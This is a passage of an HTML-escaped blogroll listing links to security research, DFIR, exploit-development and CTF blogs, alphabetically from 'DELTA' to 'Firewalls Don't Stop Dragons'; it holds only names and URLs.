  &lt;li&gt;&lt;a href=&quot;https://delta.navisec.io&quot;&gt;DELTA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.math.unipd.it/~donadel/&quot;&gt;Denis Donadel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dennisbabkin.com/blog/&quot;&gt;Dennis Babkin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://denniskniep.github.io/posts/&quot;&gt;Dennis Kniep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://denwp.com&quot;&gt;Denwp Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.blog.deploy-securely.com&quot;&gt;Deploying Securely&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://derekabdine.com&quot;&gt;Derek Abdine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x44.xyz/blog&quot;&gt;Derin Eryılmaz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.derpturkey.com&quot;&gt;derp turkey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://designingsecuresoftware.com&quot;&gt;Designing Secure Software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://details-of-note.blogspot.com&quot;&gt;Details of Note&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.detectionengineering.net&quot;&gt;Detection Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dev.to&quot;&gt;DEV&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devansh.xyz&quot;&gt;Devansh’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devsecopsdocs.com/blog/&quot;&gt;DevSecOps Docs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.deyda.net/index.php/en/&quot;&gt;Deyda&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chocolatecoat4n6.com&quot;&gt;DFIR &amp;amp; Ramblings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://findingbad.blogspot.com&quot;&gt;DFIR and Threat Hunting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfirdiva.com&quot;&gt;DFIR Diva&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.dfirnotes.net&quot;&gt;DFIR notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thedfirreport.com&quot;&gt;The DFIR Report&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfirtnt.wordpress.com&quot;&gt;DFIR TNT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfir.blog&quot;&gt;dfir.blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfir.ch/posts/&quot;&gt;dfir.ch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfirlinks.blogspot.com/&quot;&gt;DFIRLinks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dfirsec.au&quot;&gt;DFIRSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dfresh.ninja/index.php/blog-2/&quot;&gt;Dfreshalot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.dfsec.com&quot;&gt;DFSEC Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfworks.xyz/blog&quot;&gt;DFWORKS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dgl.cx&quot;&gt;dgl.cx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://soatok.blog&quot;&gt;Dhole Moments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://diablohorn.com&quot;&gt;DiabloHorn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dialtone.noblogs.org/&quot;&gt;Dial Tone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://doar-e.github.io&quot;&gt;Diary of a reverse-engineer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.didierstevens.com&quot;&gt;Didier Stevens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://digi.ninja&quot;&gt;DigiNinja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfir.science&quot;&gt;Digital Forensic Science&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.digitalinterruption.com/di-blog&quot;&gt;Digital Interruption&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://digitalitskills.com&quot;&gt;Digital Skill&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dillonfrankesecurity.com/posts/&quot;&gt;Dillon Franke Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.3or.de&quot;&gt;Dimitrios Slamaris&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dirkjanm.io&quot;&gt;Dirk-jan Mollema&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://disconnect3d.pl&quot;&gt;disconnect3d’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.azuki.vip&quot;&gt;discrete blogarithm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://disloops.com&quot;&gt;disloops&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dissectingmalwa.re&quot;&gt;Dissecting Malwa.re&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://distributedcompute.com&quot;&gt;Distributed Compute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://divyanshu-mehta.gitbook.io/researchs/&quot;&gt;Divyanshu Mehta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.dixitaditya.com&quot;&gt;Dixit Aditya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://djschleen.com/posts/&quot;&gt;DJ Schleen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dmfrsecurity.com&quot;&gt;DMFR Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dmitry.gr/?&quot;&gt;Dmitry.GR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dnsprincess.com&quot;&gt;dnsprincess&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://do1alx.de&quot;&gt;DO1ALX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docfate111.github.io/blog/&quot;&gt;docfate111&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dominicbreuker.com/post/&quot;&gt;Dominic Breuker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://singe.za.net&quot;&gt;Dominic White&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x-c3ll.github.io&quot;&gt;Doomsday Vault&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dos.sh/blog&quot;&gt;The DOS Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dosxuz.gitlab.io&quot;&gt;Dosxuz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://doubleagent.net&quot;&gt;doubleagent.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://doublepulsar.com&quot;&gt;DoublePulsar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dougallj.wordpress.com&quot;&gt;dougallj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.douglas.stebila.ca/blog/&quot;&gt;Douglas Stebila&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dovthelachman.com&quot;&gt;DovTheLachman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dttw.tech&quot;&gt;Down To The Wire&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://downeg.xyz&quot;&gt;downeg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://downunderctf.com/blog/&quot;&gt;DownUnderCTF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://downwithup.github.io/BlogIndex.html&quot;&gt;downwithup&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com&quot;&gt;Doyensec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.doyler.net&quot;&gt;doyler.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dozer.nz/posts/&quot;&gt;dozer.nz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.drchaos.com&quot;&gt;Dr. Chaos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dr4k0nia.github.io&quot;&gt;drakonia’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://drewdevault.com&quot;&gt;Drew DeVault&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dreyand.rs&quot;&gt;DreyAnd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dronesec.pw&quot;&gt;DroneSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alecmuffett.com/blog&quot;&gt;Dropsafe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dtm.uk&quot;&gt;dtmsecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wale.id.au&quot;&gt;Duale Siad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gusralph.info&quot;&gt;Dungeon of the Domain Admins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dustindikes.com&quot;&gt;Dustin Dikes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dylankatz.com/posts/&quot;&gt;Dylan Katz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evowizz.dev/blog&quot;&gt;Dylan Roussel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darabi.me&quot;&gt;Dynamic World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.easysiem.com&quot;&gt;easySIEM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tclaverie.eu&quot;&gt;Eclectic Koala&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ecos.wtf&quot;&gt;ecos.wtf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://edermi.github.io&quot;&gt;edermi’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://edoverflow.com&quot;&gt;EdOverflow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eduard.schwarzkopf.center&quot;&gt;Eduard Schwarzkopf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.efiens.com&quot;&gt;Efiens CTF Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://homakov.blogspot.com&quot;&gt;Egor Homakov&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ehpus.com&quot;&gt;ehpus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eiken.dev&quot;&gt;eikendev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.electrovolt.io&quot;&gt;Electrovolt Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eligrey.com&quot;&gt;Eli Grey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elie.net&quot;&gt;EliE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.press/@nilokuma&quot;&gt;Elisabeth’s Cybersecurity Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elkement.wordpress.com/category/cyber/&quot;&gt;elkemental Force&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.eshlomo.us&quot;&gt;Elli Shlomo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elliotonsecurity.com&quot;&gt;Elliot on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.elmo.sg&quot;&gt;Elma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0u.ma/&quot;&gt;ElMahdi&lt;/a&gt; and &lt;a href=&quot;https://elmahdi.tistory.com&quot;&gt;ElMahdi - マハディ&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.elmasy.com&quot;&gt;Elmasy Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elongl.github.io&quot;&gt;Elon Gliksberg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elinfosec.com&quot;&gt;ElSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emanuelduss.ch/archive/&quot;&gt;Emanuel Duss&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://embed-me.com/blog/&quot;&gt;embed-me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://embeddedsecurity.io&quot;&gt;Embedded Systems Security and TrustZone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://embeddedbits.org&quot;&gt;embeddedbits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://embee-research.ghost.io&quot;&gt;Embee Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://embracethered.com/blog/&quot;&gt;Embrace The Red&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emilymstark.com/blog.html&quot;&gt;Emily M. Stark&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emily.id.au&quot;&gt;Emily Trau&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emptydc.com/category/main-articles/&quot;&gt;EmptyDC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.en1gma.co&quot;&gt;Enigma Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://enindu.com/blog&quot;&gt;Enindu Alahapperuma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.enitin.de&quot;&gt;Enitin Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.yossarian.net&quot;&gt;ENOSUCHBLOG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.enricobassetti.it&quot;&gt;Enrico Bassetti&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://enscribe.dev/blog&quot;&gt;Enscribe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://detect-respond.blogspot.com&quot;&gt;Enterprise Detection &amp;amp; Response&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://enumerated.wordpress.com&quot;&gt;enumerated&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://env.fail&quot;&gt;env.fail&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://eostrix.net&quot;&gt;eostrix.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://epi052.gitlab.io/notes-to-self/blog/&quot;&gt;epi052&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://epic.blog&quot;&gt;The EPIC.blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eqqn.github.io&quot;&gt;eqqn Security blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://erawlam.cc&quot;&gt;erawlam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://erev0s.com/blog/&quot;&gt;erev0s&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ericconrad.com&quot;&gt;Eric Conrad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ericdaigle.ca&quot;&gt;Eric Daigle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://erichogue.ca&quot;&gt;Eric Hogue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ericonidentity.com&quot;&gt;Eric on Identity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ericooi.com&quot;&gt;Eric Ooi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.hydrogen18.com/blog/security.html&quot;&gt;Eric’s Apparatus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://albocoder.github.io/blog/&quot;&gt;Erin Avllazagaj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://erfur.github.io&quot;&gt;erfur’s bits and pieces&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://erk3.github.io/writeups/&quot;&gt;erk3’s spot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.erratasec.com&quot;&gt;Errata Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://erri120.github.io&quot;&gt;erri120’s random Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.es3n1n.eu&quot;&gt;es3n1n’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://3sjay.github.io&quot;&gt;Esjay’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eslam.io&quot;&gt;Eslam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.esp0x31.io&quot;&gt;esp0x31&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://estr3llas.github.io&quot;&gt;Estrellas’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eta.st/posts.html&quot;&gt;eta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://etenal.me/archives/category/blog&quot;&gt;ETenal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ethicalchaos.dev&quot;&gt;Ethical Chaos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ethicalhacking.sh&quot;&gt;ethicalhacking.sh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.randhome.io/about/&quot;&gt;Etienne “tek” Maynier&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ettic.ca&quot;&gt;ETTIC blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://eu90h.github.io&quot;&gt;eu90h&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://boehs.org&quot;&gt;Evan Boehs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evanconnelly.github.io&quot;&gt;Evan Connelly&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.evanottinger.com&quot;&gt;Evan Ottinger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.evanricafort.com&quot;&gt;Evan Ricafort&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eversinc33.github.io&quot;&gt;eversinc33&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jgasmussen.blogspot.com&quot;&gt;Everything DFIR…&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.heat-miser.net&quot;&gt;Everything is Fine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evi1cg.me&quot;&gt;Evi1cg’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theevilbit.github.io/posts/&quot;&gt;THEEVILBIT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evilpacket.net/posts/&quot;&gt;EvilPacket&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.evilsocket.net&quot;&gt;evilsocket&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ross-sec-audio.github.io/InfoSec/&quot;&gt;EvKIROSpem&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.evonide.com&quot;&gt;Evonide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evren.ninja/index.html&quot;&gt;evren’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exandroid.dev&quot;&gt;Ex Android Dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://exfiltrated.com/research.php&quot;&gt;Exfiltrated.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploit.ph&quot;&gt;Exploit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploit.az&quot;&gt;Exploit Azerbaijan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.br0vvnn.io/pages/blogtimeline.aspx&quot;&gt;Exploit Research Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploitreversing.com&quot;&gt;Exploit Reversing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploits.forsale&quot;&gt;Exploits For Sale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.exploits.club&quot;&gt;exploits.club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.exploresecurity.com&quot;&gt;Explore Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eyald.com&quot;&gt;Eyal Daniel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eyalitkin.wordpress.com&quot;&gt;Eyal Itkin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ezequiel.tech&quot;&gt;Ezequiel Pereira&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ezh.es/blog/&quot;&gt;Ezhes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ezrabuckingham.com/blog/&quot;&gt;Ezra Buckingham&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://f0rg-02.github.io/blog/&quot;&gt;f0rg’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://feed.prelude.org&quot;&gt;f33d by Prelude&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://f4d3.io&quot;&gt;f4d3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fabiensanglard.net&quot;&gt;Fabien Sanglard’s Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xfabiof.github.io&quot;&gt;Fabio Freitas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.fabiopires.pt&quot;&gt;Fabio Pires&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fadedcode.net&quot;&gt;Faded Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.fadyothman.com&quot;&gt;Fady Othman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://faraz.faith&quot;&gt;Faith&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://faith2dxy.xyz&quot;&gt;Faith 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://falconspy.org/&quot;&gt;FalconSpy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://showipintbri.github.io/blog&quot;&gt;Falling Forward&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://whitehatfamilyguy.blogspot.com&quot;&gt;Family Guy | The Quest For Stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fancybearfriends.org/blog/&quot;&gt;Fancy Bear Friends&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fareedfauzi.github.io/archive.html&quot;&gt;Fareed Fauzi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.leavesongs.com&quot;&gt;Farewell Song&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fdlucifer.github.io&quot;&gt;fdvoid0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rhaidiz.net/archives/&quot;&gt;Federico De Meo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.felipemolina.com&quot;&gt;Felipe Molina de la Torre&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://krausefx.com&quot;&gt;Felix Krause&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.felixm.pw&quot;&gt;Felix M&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ferib.dev/portfolio.php?t=Blog+post&quot;&gt;Ferib’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fernale.blogspot.com&quot;&gt;Fernale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://guisso.dev/posts/&quot;&gt;Fernando Guisso&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.wohin.me&quot;&gt;Fernweh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://files.ninja/info/blog&quot;&gt;files.ninja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thefinalhop.com&quot;&gt;The Final Hop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fin3ss3g0d.net/index.php/blog/&quot;&gt;fin3ss3g0d’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.finchsec.com&quot;&gt;FinchSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://finixbit.github.io/posts/&quot;&gt;finixbit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://firefart.at&quot;&gt;FIREFART&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fireshellsecurity.team/articles/&quot;&gt;Fireshell Security Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.thefirewall.org&quot;&gt;The Firewall&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://firewallsdontstopdragons.com&quot;&gt;Firewalls Don’t Stop Dragons&lt;/a&gt;&lt;/li&gt;
